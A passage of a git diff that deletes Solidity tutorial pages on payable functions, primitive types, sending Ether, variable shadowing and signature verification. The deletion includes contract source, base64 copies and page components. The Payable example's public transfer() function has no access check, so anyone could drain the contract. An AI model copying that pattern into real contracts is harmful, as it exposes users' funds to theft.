XJlKHN1Y2Nlc3MsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg==", - }, -] - -const html = `

    Functions and addresses declared payable can receive ether into the contract.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract Payable {
    -    // Payable address can send Ether via transfer or send
    -    address payable public owner;
    -
    -    // Payable constructor can receive Ether
    -    constructor() payable {
    -        owner = payable(msg.sender);
    -    }
    -
    -    // Function to deposit Ether into this contract.
    -    // Call this function along with some Ether.
    -    // The balance of this contract will be automatically updated.
    -    function deposit() public payable {}
    -
    -    // Call this function along with some Ether.
    -    // The function will throw an error since this function is not payable.
    -    function notPayable() public {}
    -
    -    // Function to withdraw all Ether from this contract.
    -    function withdraw() public {
    -        // get the amount of Ether stored in this contract
    -        uint amount = address(this).balance;
    -
    -        // send all Ether to owner
    -        (bool success, ) = owner.call{value: amount}("");
    -        require(success, "Failed to send Ether");
    -    }
    -
    -    // Function to transfer Ether from this contract to address from input
    -    function transfer(address payable _to, uint _amount) public {
    -        // Note that "to" is declared as payable
    -        (bool success, ) = _to.call{value: _amount}("");
    -        require(success, "Failed to send Ether");
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/payable/index.md b/src/pages/payable/index.md deleted file mode 100644 index 025471223..000000000 --- a/src/pages/payable/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Payable -version: 0.8.20 -description: An example of how to use the keyword payable in Solidity -keywords: [payable, eth, send, ether] ---- - -Functions and addresses declared `payable` can receive `ether` into the contract. - -```solidity -{{{Payable}}} -``` diff --git a/src/pages/payable/index.tsx b/src/pages/payable/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/payable/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/primitives/Primitives.sol b/src/pages/primitives/Primitives.sol deleted file mode 100644 index 9fb2c92c9..000000000 --- a/src/pages/primitives/Primitives.sol +++ /dev/null @@ -1,55 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Primitives { - bool public boo = true; - - /* - uint stands for unsigned integer, meaning non negative integers - different sizes are available - uint8 ranges from 0 to 2 ** 8 - 1 - uint16 ranges from 0 to 2 ** 16 - 1 - ... - uint256 ranges from 0 to 2 ** 256 - 1 - */ - uint8 public u8 = 1; - uint public u256 = 456; - uint public u = 123; // uint is an alias for uint256 - - /* - Negative numbers are allowed for int types. - Like uint, different ranges are available from int8 to int256 - - int256 ranges from -2 ** 255 to 2 ** 255 - 1 - int128 ranges from -2 ** 127 to 2 ** 127 - 1 - */ - int8 public i8 = -1; - int public i256 = 456; - int public i = -123; // int is same as int256 - - // minimum and maximum of int - int public minInt = type(int).min; - int public maxInt = type(int).max; - - address public addr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c; - - /* - In Solidity, the data type byte represent a sequence of bytes. - Solidity presents two type of bytes types : - - - fixed-sized byte arrays - - dynamically-sized byte arrays. - - The term bytes in Solidity represents a dynamic array of bytes. - It’s a shorthand for byte[] . - */ - bytes1 a = 0xb5; // [10110101] - bytes1 b = 0x56; // [01010110] - - // Default values - // Unassigned variables have a default value - bool public defaultBoo; // false - uint public defaultUint; // 0 - int public defaultInt; // 0 - address public defaultAddr; // 0x0000000000000000000000000000000000000000 -} diff --git a/src/pages/primitives/index.html.ts b/src/pages/primitives/index.html.ts deleted file mode 100644 index 21db3f87c..000000000 --- a/src/pages/primitives/index.html.ts +++ /dev/null @@ -1,93 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Primitive Data Types" -export const description = "Primitive data types" - -export const keywords = [ - "primitive", - "primitives", - "data", - "type", - "types", - "variable", - "variables", - "boolean", - "uint256", - "int256", - "address", - "uint", - "int", -] - -export const codes = [ - { - fileName: "Primitives.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRvIDIgKiogMTYgLSAxCiAgICAgICAgLi4uCiAgICAgICAgdWludDI1NiByYW5nZXMgZnJvbSAwIHRvIDIgKiogMjU2IC0gMQogICAgKi8KICAgIHVpbnQ4IHB1YmxpYyB1OCA9IDE7CiAgICB1aW50IHB1YmxpYyB1MjU2ID0gNDU2OwogICAgdWludCBwdWJsaWMgdSA9IDEyMzsgLy8gdWludCBpcyBhbiBhbGlhcyBmb3IgdWludDI1NgoKICAgIC8qCiAgICBOZWdhdGl2ZSBudW1iZXJzIGFyZSBhbGxvd2VkIGZvciBpbnQgdHlwZXMuCiAgICBMaWtlIHVpbnQsIGRpZmZlcmVudCByYW5nZXMgYXJlIGF2YWlsYWJsZSBmcm9tIGludDggdG8gaW50MjU2CiAgICAKICAgIGludDI1NiByYW5nZXMgZnJvbSAtMiAqKiAyNTUgdG8gMiAqKiAyNTUgLSAxCiAgICBpbnQxMjggcmFuZ2VzIGZyb20gLTIgKiogMTI3IHRvIDIgKiogMTI3IC0gMQogICAgKi8KICAgIGludDggcHVibGljIGk4ID0gLTE7CiAgICBpbnQgcHVibGljIGkyNTYgPSA0NTY7CiAgICBpbnQgcHVibGljIGkgPSAtMTIzOyAvLyBpbnQgaXMgc2FtZSBhcyBpbnQyNTYKCiAgICAvLyBtaW5pbXVtIGFuZCBtYXhpbXVtIG9mIGludAogICAgaW50IHB1YmxpYyBtaW5JbnQgPSB0eXBlKGludCkubWluOwogICAgaW50IHB1YmxpYyBtYXhJbnQgPSB0eXBlKGludCkubWF4OwoKICAgIGFkZHJlc3MgcHVibGljIGFkZHIgPSAweENBMzViN2Q5MTU0NThFRjU0MGFEZTYwNjhkRmUyRjQ0RThmYTczM2M7CgogICAgLyoKICAgIEluIFNvbGlkaXR5LCB0aGUgZGF0YSB0eXBlIGJ5dGUgcmVwcmVzZW50IGEgc2VxdWVuY2Ugb2YgYnl0ZXMuIAogICAgU29saWRpdHkgcHJlc2VudHMgdHdvIHR5cGUgb2YgYnl0ZXMgdHlwZXMgOgoKICAgICAtIGZpeGVkLXNpemVkIGJ5dGUgYXJyYXlzCiAgICAgLSBkeW5hbWljYWxseS1zaXplZCBieXRlIGFycmF5cy4KICAgICAKICAgICBUaGUgdGVybSBieXRlcyBpbiBTb2xpZGl0eSByZXByZXNlbnRzIGEgZHluYW1pYyBhcnJheSBvZiBieXRlcy4gCiAgICAgSXTigJlzIGEgc2hvcnRoYW5kIGZvciBieXRlW10gLgogICAgKi8KICAgIGJ5dGVzMSBhID0gMHhiNTsgLy8gIFsxMDExMDEwMV0KICAgIGJ5dGVzMSBiID0gMHg1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K", - }, -] - -const html = `

    Here we introduce you to some primitive data types available in Solidity.

    -
      -
    • boolean
    • -
    • uint256
    • -
    • int256
    • -
    • address
    • -
    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract Primitives {
    -    bool public boo = true;
    -
    -    /*
    -    uint stands for unsigned integer, meaning non negative integers
    -    different sizes are available
    -        uint8   ranges from 0 to 2 ** 8 - 1
    -        uint16  ranges from 0 to 2 ** 16 - 1
    -        ...
    -        uint256 ranges from 0 to 2 ** 256 - 1
    -    */
    -    uint8 public u8 = 1;
    -    uint public u256 = 456;
    -    uint public u = 123; // uint is an alias for uint256
    -
    -    /*
    -    Negative numbers are allowed for int types.
    -    Like uint, different ranges are available from int8 to int256
    -    
    -    int256 ranges from -2 ** 255 to 2 ** 255 - 1
    -    int128 ranges from -2 ** 127 to 2 ** 127 - 1
    -    */
    -    int8 public i8 = -1;
    -    int public i256 = 456;
    -    int public i = -123; // int is same as int256
    -
    -    // minimum and maximum of int
    -    int public minInt = type(int).min;
    -    int public maxInt = type(int).max;
    -
    -    address public addr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;
    -
    -    /*
    -    In Solidity, the data type byte represent a sequence of bytes. 
    -    Solidity presents two type of bytes types :
    -
    -     - fixed-sized byte arrays
    -     - dynamically-sized byte arrays.
    -     
    -     The term bytes in Solidity represents a dynamic array of bytes. 
    -     It’s a shorthand for byte[] .
    -    */
    -    bytes1 a = 0xb5; //  [10110101]
    -    bytes1 b = 0x56; //  [01010110]
    -
    -    // Default values
    -    // Unassigned variables have a default value
    -    bool public defaultBoo; // false
    -    uint public defaultUint; // 0
    -    int public defaultInt; // 0
    -    address public defaultAddr; // 0x0000000000000000000000000000000000000000
    -}
    -
    ` - -export default html diff --git a/src/pages/primitives/index.md b/src/pages/primitives/index.md deleted file mode 100644 index 3b6250ee8..000000000 --- a/src/pages/primitives/index.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Primitive Data Types -version: 0.8.20 -description: Primitive data types -keywords: - [ - primitive, - primitives, - data, - type, - types, - variable, - variables, - boolean, - uint256, - int256, - address, - uint, - int, - ] ---- - -Here we introduce you to some primitive data types available in Solidity. - -- `boolean` -- `uint256` -- `int256` -- `address` - -```solidity -{{{Primitives}}} -``` diff --git a/src/pages/primitives/index.tsx b/src/pages/primitives/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/primitives/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/sending-ether/SendingEther.sol b/src/pages/sending-ether/SendingEther.sol deleted file mode 100644 index 735a5fa7e..000000000 --- a/src/pages/sending-ether/SendingEther.sol +++ /dev/null @@ -1,51 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract ReceiveEther { - /* - Which function is called, fallback() or receive()? - - send Ether - | - msg.data is empty? - / \ - yes no - / \ -receive() exists? fallback() - / \ - yes no - / \ - receive() fallback() - */ - - // Function to receive Ether. msg.data must be empty - receive() external payable {} - - // Fallback function is called when msg.data is not empty - fallback() external payable {} - - function getBalance() public view returns (uint) { - return address(this).balance; - } -} - -contract SendEther { - function sendViaTransfer(address payable _to) public payable { - // This function is no longer recommended for sending Ether. - _to.transfer(msg.value); - } - - function sendViaSend(address payable _to) public payable { - // Send returns a boolean value indicating success or failure. - // This function is not recommended for sending Ether. - bool sent = _to.send(msg.value); - require(sent, "Failed to send Ether"); - } - - function sendViaCall(address payable _to) public payable { - // Call returns a boolean value indicating success or failure. - // This is the current recommended method to use. - (bool sent, bytes memory data) = _to.call{value: msg.value}(""); - require(sent, "Failed to send Ether"); - } -} diff --git a/src/pages/sending-ether/index.html.ts b/src/pages/sending-ether/index.html.ts deleted file mode 100644 index b1f1a77f1..000000000 --- a/src/pages/sending-ether/index.html.ts +++ /dev/null @@ -1,102 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Sending Ether (transfer, send, call)" -export const description = "An example of sending Ether in Solidity" - -export const keywords = [ - "sending", - "send", - "ether", - "eth", - "transfer", - "send", - "call", - "fallback", - "receive", - "payable", - "function", - "functions", -] - -export const codes = [ - { - fileName: "SendingEther.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaXMgY2FsbGVkLCBmYWxsYmFjaygpIG9yIHJlY2VpdmUoKT8KCiAgICAgICAgICAgc2VuZCBFdGhlcgogICAgICAgICAgICAgICB8CiAgICAgICAgIG1zZy5kYXRhIGlzIGVtcHR5PwogICAgICAgICAgICAgIC8gXAogICAgICAgICAgICB5ZXMgIG5vCiAgICAgICAgICAgIC8gICAgIFwKcmVjZWl2ZSgpIGV4aXN0cz8gIGZhbGxiYWNrKCkKICAgICAgICAgLyAgIFwKICAgICAgICB5ZXMgICBubwogICAgICAgIC8gICAgICBcCiAgICByZWNlaXZlKCkgICBmYWxsYmFjaygpCiAgICAqLwoKICAgIC8vIEZ1bmN0aW9uIHRvIHJlY2VpdmUgRXRoZXIuIG1zZy5kYXRhIG11c3QgYmUgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgLy8gRmFsbGJhY2sgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gbXNnLmRhdGEgaXMgbm90IGVtcHR5CiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0KCmNvbnRyYWN0IFNlbmRFdGhlciB7CiAgICBmdW5jdGlvbiBzZW5kVmlhVHJhbnNmZXIoYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIFRoaXMgZnVuY3Rpb24gaXMgbm8gbG9uZ2VyIHJlY29tbWVuZGVkIGZvciBzZW5kaW5nIEV0aGVyLgogICAgICAgIF90by50cmFuc2Zlcihtc2cudmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHNlbmRWaWFTZW5kKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBTZW5kIHJldHVybnMgYSBib29sZWFuIHZhbHVlIGluZGljYXRpbmcgc3VjY2VzcyBvciBmYWlsdXJlLgogICAgICAgIC8vIFRoaXMgZnVuY3Rpb24gaXMgbm90IHJlY29tbWVuZGVkIGZvciBzZW5kaW5nIEV0aGVyLgogICAgICAgIGJvb2wgc2VudCA9IF90by5zZW5kKG1zZy52YWx1ZSk7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZW5kVmlhQ2FsbChhZGRyZXNzIHBheWFibGUgX3RvKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gQ2FsbCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGlzIHRoZSBjdXJyZW50IHJlY29tbWVuZGVkIG1ldGhvZCB0byB1c2UuCiAgICAgICAgKGJvb2wgc2VudCwgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX3RvLmNhbGx7dmFsdWU6IG1zZy52YWx1ZX0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0K", - }, -] - -const html = `

    How to send Ether?

    -

    You can send Ether to other contracts by

    -
      -
    • transfer (2300 gas, throws error)
    • -
    • send (2300 gas, returns bool)
    • -
    • call (forward all gas or set gas, returns bool)
    • -
    -

    How to receive Ether?

    -

    A contract receiving Ether must have at least one of the functions below

    -
      -
    • receive() external payable
    • -
    • fallback() external payable
    • -
    -

    receive() is called if msg.data is empty, otherwise fallback() is called.

    -

    Which method should you use?

    -

    call in combination with re-entrancy guard is the recommended method to use after December 2019.

    -

    Guard against re-entrancy by

    -
      -
    • making all state changes before calling other contracts
    • -
    • using re-entrancy guard modifier
    • -
    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract ReceiveEther {
    -    /*
    -    Which function is called, fallback() or receive()?
    -
    -           send Ether
    -               |
    -         msg.data is empty?
    -              / \\
    -            yes  no
    -            /     \\
    -receive() exists?  fallback()
    -         /   \\
    -        yes   no
    -        /      \\
    -    receive()   fallback()
    -    */
    -
    -    // Function to receive Ether. msg.data must be empty
    -    receive() external payable {}
    -
    -    // Fallback function is called when msg.data is not empty
    -    fallback() external payable {}
    -
    -    function getBalance() public view returns (uint) {
    -        return address(this).balance;
    -    }
    -}
    -
    -contract SendEther {
    -    function sendViaTransfer(address payable _to) public payable {
    -        // This function is no longer recommended for sending Ether.
    -        _to.transfer(msg.value);
    -    }
    -
    -    function sendViaSend(address payable _to) public payable {
    -        // Send returns a boolean value indicating success or failure.
    -        // This function is not recommended for sending Ether.
    -        bool sent = _to.send(msg.value);
    -        require(sent, "Failed to send Ether");
    -    }
    -
    -    function sendViaCall(address payable _to) public payable {
    -        // Call returns a boolean value indicating success or failure.
    -        // This is the current recommended method to use.
    -        (bool sent, bytes memory data) = _to.call{value: msg.value}("");
    -        require(sent, "Failed to send Ether");
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/sending-ether/index.md b/src/pages/sending-ether/index.md deleted file mode 100644 index f30eeb703..000000000 --- a/src/pages/sending-ether/index.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Sending Ether (transfer, send, call) -version: 0.8.20 -description: An example of sending Ether in Solidity -keywords: - [ - sending, - send, - ether, - eth, - transfer, - send, - call, - fallback, - receive, - payable, - function, - functions, - ] ---- - -### How to send Ether? - -You can send Ether to other contracts by - -- `transfer` (2300 gas, throws error) -- `send` (2300 gas, returns bool) -- `call` (forward all gas or set gas, returns bool) - -### How to receive Ether? - -A contract receiving Ether must have at least one of the functions below - -- `receive() external payable` -- `fallback() external payable` - -`receive()` is called if `msg.data` is empty, otherwise `fallback()` is called. - -### Which method should you use? - -`call` in combination with re-entrancy guard is the recommended method to use after December 2019. - -Guard against re-entrancy by - -- making all state changes before calling other contracts -- using re-entrancy guard modifier - -```solidity -{{{SendingEther}}} -``` diff --git a/src/pages/sending-ether/index.tsx b/src/pages/sending-ether/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/sending-ether/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/shadowing-inherited-state-variables/Shadow.sol b/src/pages/shadowing-inherited-state-variables/Shadow.sol deleted file mode 100644 index cdad44cfc..000000000 --- a/src/pages/shadowing-inherited-state-variables/Shadow.sol +++ /dev/null @@ -1,25 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract A { - string public name = "Contract A"; - - function getName() public view returns (string memory) { - return name; - } -} - -// Shadowing is disallowed in Solidity 0.6 -// This will not compile -// contract B is A { -// string public name = "Contract B"; -// } - -contract C is A { - // This is the correct way to override inherited state variables. - constructor() { - name = "Contract C"; - } - - // C.getName returns "Contract C" -} diff --git a/src/pages/shadowing-inherited-state-variables/index.html.ts b/src/pages/shadowing-inherited-state-variables/index.html.ts deleted file mode 100644 index 8196e54e5..000000000 --- a/src/pages/shadowing-inherited-state-variables/index.html.ts +++ /dev/null @@ -1,52 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Shadowing Inherited State Variables" -export const description = "An example of shadowing state variables by inheritance" - -export const keywords = [ - "state", - "variables", - "variable", - "shadow", - "shadowing", - "inheritance", -] - -export const codes = [ - { - fileName: "Shadow.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg==", - }, -] - -const html = `

    Unlike functions, state variables cannot be overridden by re-declaring it -in the child contract.

    -

    Let's learn how to correctly override inherited state variables.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract A {
    -    string public name = "Contract A";
    -
    -    function getName() public view returns (string memory) {
    -        return name;
    -    }
    -}
    -
    -// Shadowing is disallowed in Solidity 0.6
    -// This will not compile
    -// contract B is A {
    -//     string public name = "Contract B";
    -// }
    -
    -contract C is A {
    -    // This is the correct way to override inherited state variables.
    -    constructor() {
    -        name = "Contract C";
    -    }
    -
    -    // C.getName returns "Contract C"
    -}
    -
    ` - -export default html diff --git a/src/pages/shadowing-inherited-state-variables/index.md b/src/pages/shadowing-inherited-state-variables/index.md deleted file mode 100644 index 30816e27b..000000000 --- a/src/pages/shadowing-inherited-state-variables/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Shadowing Inherited State Variables -version: 0.8.20 -description: An example of shadowing state variables by inheritance -keywords: [state, variables, variable, shadow, shadowing, inheritance] ---- - -Unlike functions, state variables cannot be overridden by re-declaring it -in the child contract. - -Let's learn how to correctly override inherited state variables. - -```solidity -{{{Shadow}}} -``` diff --git a/src/pages/shadowing-inherited-state-variables/index.tsx b/src/pages/shadowing-inherited-state-variables/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/shadowing-inherited-state-variables/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/signature/Signature.sol b/src/pages/signature/Signature.sol deleted file mode 100644 index 81efa5f66..000000000 --- a/src/pages/signature/Signature.sol +++ /dev/null @@ -1,123 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* Signature Verification - -How to Sign and Verify -# Signing -1. Create message to sign -2. Hash the message -3. Sign the hash (off chain, keep your private key secret) - -# Verify -1. Recreate hash from the original message -2. Recover signer from signature and hash -3. Compare recovered signer to claimed signer -*/ - -contract VerifySignature { - /* 1. Unlock MetaMask account - ethereum.enable() - */ - - /* 2. Get message hash to sign - getMessageHash( - 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C, - 123, - "coffee and donuts", - 1 - ) - - hash = "0xcf36ac4f97dc10d91fc2cbb20d718e94a8cbfe0f82eaedc6a4aa38946fb797cd" - */ - function getMessageHash( - address _to, - uint _amount, - string memory _message, - uint _nonce - ) public pure returns (bytes32) { - return keccak256(abi.encodePacked(_to, _amount, _message, _nonce)); - } - - /* 3. Sign message hash - # using browser - account = "copy paste account of signer here" - ethereum.request({ method: "personal_sign", params: [account, hash]}).then(console.log) - - # using web3 - web3.personal.sign(hash, web3.eth.defaultAccount, console.log) - - Signature will be different for different accounts - 0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b - */ - function getEthSignedMessageHash( - bytes32 _messageHash - ) public pure returns (bytes32) { - /* - Signature is produced by signing a keccak256 hash with the following format: - "\x19Ethereum Signed Message\n" + len(msg) + msg - */ - return - keccak256( - abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash) - ); - } - - /* 4. Verify signature - signer = 0xB273216C05A8c0D4F0a4Dd0d7Bae1D2EfFE636dd - to = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C - amount = 123 - message = "coffee and donuts" - nonce = 1 - signature = - 0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b - */ - function verify( - address _signer, - address _to, - uint _amount, - string memory _message, - uint _nonce, - bytes memory signature - ) public pure returns (bool) { - bytes32 messageHash = getMessageHash(_to, _amount, _message, _nonce); - bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); - - return recoverSigner(ethSignedMessageHash, signature) == _signer; - } - - function recoverSigner( - bytes32 _ethSignedMessageHash, - bytes memory _signature - ) public pure returns (address) { - (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature); - - return ecrecover(_ethSignedMessageHash, v, r, s); - } - - function splitSignature( - bytes memory sig - ) public pure returns (bytes32 r, bytes32 s, uint8 v) { - require(sig.length == 65, "invalid signature length"); - - assembly { - /* - First 32 bytes stores the length of the signature - - add(sig, 32) = pointer of sig + 32 - effectively, skips first 32 bytes of signature - - mload(p) loads next 32 bytes starting at the memory address p into memory - */ - - // first 32 bytes, after the length prefix - r := mload(add(sig, 32)) - // second 32 bytes - s := mload(add(sig, 64)) - // final byte (first byte of the next 32 bytes) - v := byte(0, mload(add(sig, 96))) - } - - // implicitly return (r, s, v) - } -} diff --git a/src/pages/signature/index.html.ts b/src/pages/signature/index.html.ts deleted file mode 100644 index 33b1c6445..000000000 --- a/src/pages/signature/index.html.ts +++ /dev/null @@ -1,149 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Verifying Signature" -export const description = "An example of how to verify signatures in Solidity" - -export const keywords = [ - "cryptography", - "verify", - "verifying", - "signature", - "signatures", - "ecrecover", -] - -export const codes = [ - { - fileName: "Signature.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXAgeW91ciBwcml2YXRlIGtleSBzZWNyZXQpCgojIFZlcmlmeQoxLiBSZWNyZWF0ZSBoYXNoIGZyb20gdGhlIG9yaWdpbmFsIG1lc3NhZ2UKMi4gUmVjb3ZlciBzaWduZXIgZnJvbSBzaWduYXR1cmUgYW5kIGhhc2gKMy4gQ29tcGFyZSByZWNvdmVyZWQgc2lnbmVyIHRvIGNsYWltZWQgc2lnbmVyCiovCgpjb250cmFjdCBWZXJpZnlTaWduYXR1cmUgewogICAgLyogMS4gVW5sb2NrIE1ldGFNYXNrIGFjY291bnQKICAgIGV0aGVyZXVtLmVuYWJsZSgpCiAgICAqLwoKICAgIC8qIDIuIEdldCBtZXNzYWdlIGhhc2ggdG8gc2lnbgogICAgZ2V0TWVzc2FnZUhhc2goCiAgICAgICAgMHgxNDcyM0EwOUFDZmY2RDJBNjBEY2RGN2FBNEFGZjMwOEZEREMxNjBDLAogICAgICAgIDEyMywKICAgICAgICAiY29mZmVlIGFuZCBkb251dHMiLAogICAgICAgIDEKICAgICkKCiAgICBoYXNoID0gIjB4Y2YzNmFjNGY5N2RjMTBkOTFmYzJjYmIyMGQ3MThlOTRhOGNiZmUwZjgyZWFlZGM2YTRhYTM4OTQ2ZmI3OTdjZCIKICAgICovCiAgICBmdW5jdGlvbiBnZXRNZXNzYWdlSGFzaCgKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50IF9hbW91bnQsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbWVzc2FnZSwKICAgICAgICB1aW50IF9ub25jZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSkpOwogIC